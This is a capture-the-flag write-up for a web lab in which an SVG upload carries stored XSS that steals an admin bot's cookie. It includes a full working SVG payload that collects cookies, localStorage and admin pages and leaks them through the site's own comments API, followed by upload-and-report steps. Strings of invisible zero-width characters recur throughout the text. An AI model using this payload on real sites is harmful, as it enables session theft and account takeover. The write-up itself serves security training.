Lab 342 — CloudVault — Stored XSS via Malicious SVG Upload

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-04-26 | Status: Solved Techniques: admin_bot_exploitation, api_abuse_for_exfil, non_httponly_cookie_theft, same_origin_data_exfiltration, stored_xss_via_file_upload, svg_script_injection

Summary

Task: CloudVault file sharing platform allows SVG uploads served raw with image/svg+xml MIME type; admin bot reviews reported content and has flag in non-HttpOnly cookie. Solution: upload SVG with embedded JavaScript, use same-origin comments API to exfiltrate admin's cookies when bot visits the raw SVG URL.

Lab 342 — CloudVault — Stored XSS via Malicious SVG Upload — Hackadvisor

Description

CloudVault is a file sharing platform built by VaultStream Technologies that allows users to upload, organize, and share files with team members. Users can upload various file types including images, PDFs, SVGs, and text documents, then share them via public links and leave comments on shared files.

The platform has an admin who periodically reviews reported content. When content is reported, the administrator will open the reported link in their browser to review it.

Goal: Find and exploit a vulnerability that allows you to compromise the admin's session and steal sensitive information from their browser. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A file sharing platform with SVG upload support and an admin bot that reviews reported content. The goal is to exploit a vulnerability to steal sensitive data from the admin's browser session.

Analysis

Reconnaissance

After logging in with the provided credentials (user@test.com / password123), the following attack surface was identified:

1. File upload functionality - supports various file types including SVG
2. Report endpoint (/report) - allows submitting URLs for admin review
3. Raw file access (/files/{id}/raw) - serves files directly with their original MIME type
4. Comments API (POST /api/files/{id}/comments) - allows posting comments on public files ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key observations about the raw SVG endpoint:

• Files served with Content-Type: image/svg+xml
• Content-Disposition: inline header (not attachment)
• No Content Security Policy (CSP) headers

Vulnerability

SVG files can contain embedded <script> elements. When a browser loads an SVG file directly (not via <img> tag), it executes any JavaScript within the SVG. The CloudVault platform:

1. Accepts SVG file uploads without sanitization
2. Serves raw SVG files with the correct MIME type
3. Has no CSP to block inline script execution ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This creates a Stored XSS vulnerability - any user who visits the raw SVG URL will execute the attacker's JavaScript in the context of the CloudVault origin.

Exploitation Challenge

The admin bot environment had no external network access, meaning traditional exfiltration methods (webhook.site, attacker-controlled servers) would fail. The solution required a same-origin exfiltration channel.

The comments API provided this channel:

• POST /api/files/{id}/comments accepts JSON with a content field
• Works for any public file
• Attacker can read comments on their own public files ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Create Exfiltration Target

First, upload any file and mark it as public. Note its UUID - this will be the target for exfiltrated data.

Step 2: Craft Malicious SVG

Create an SVG file with embedded JavaScript that:

1. Reads document.cookie (captures non-HttpOnly cookies)
2. Fetches sensitive endpoints (/dashboard, /admin, /api/me)
3. Posts all data as comments to the attacker's public file

 xml read-only • copy allowed Copy
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <rect width="100" height="100" fill="red"/>
  <script type="text/javascript">
    var targetFile = '04170869-2640-4374-8ee3-4abba2fa8c19';
    
    function exfil(label, data) {
      fetch('/api/files/' + targetFile + '/comments', {
        method: 'POST',
        headers: {'Content-Type': 'application/json'},
        body: JSON.stringify({content: label + ': ' + String(data).substring(0, 800)})
      });
    }
    
    // Exfil localStorage
    try { exfil('LS', JSON.stringify(localStorage)); } catch(e){}
    
    // Exfil document.cookie (non-httponly)
    exfil('COOKIE', document.cookie);
    
    // Fetch dashboard and exfil
    fetch('/dashboard').then(function(r){return r.text();}).then(function(d){
      exfil('DASH', d);
    });
    
    // Fetch admin endpoints
    fetch('/admin').then(function(r){return r.text();}).then(function(d){
      exfil('ADMIN', d);
    });
    
    fetch('/api/me').then(function(r){return r.text();}).then(function(d){
      exfil('ME', d);
    });
  </script>
</svg>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Upload and Report

1. Upload the malicious SVG file
2. Mark it as public
3. Get the raw URL: http://localhost:8080/files/{svg-id}/raw
4. Submit this URL to the /report endpoint

Step 4: Retrieve Exfiltrated Data

After the admin bot visits the reported URL:

1. Navigate to the exfiltration target file
2. Check the comments section
3. Find the exfiltrated data:

COOKIE: flag=FLAG{REDACTED}

The flag was stored in a non-HttpOnly cookie named flag, which was accessible via document.cookie. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍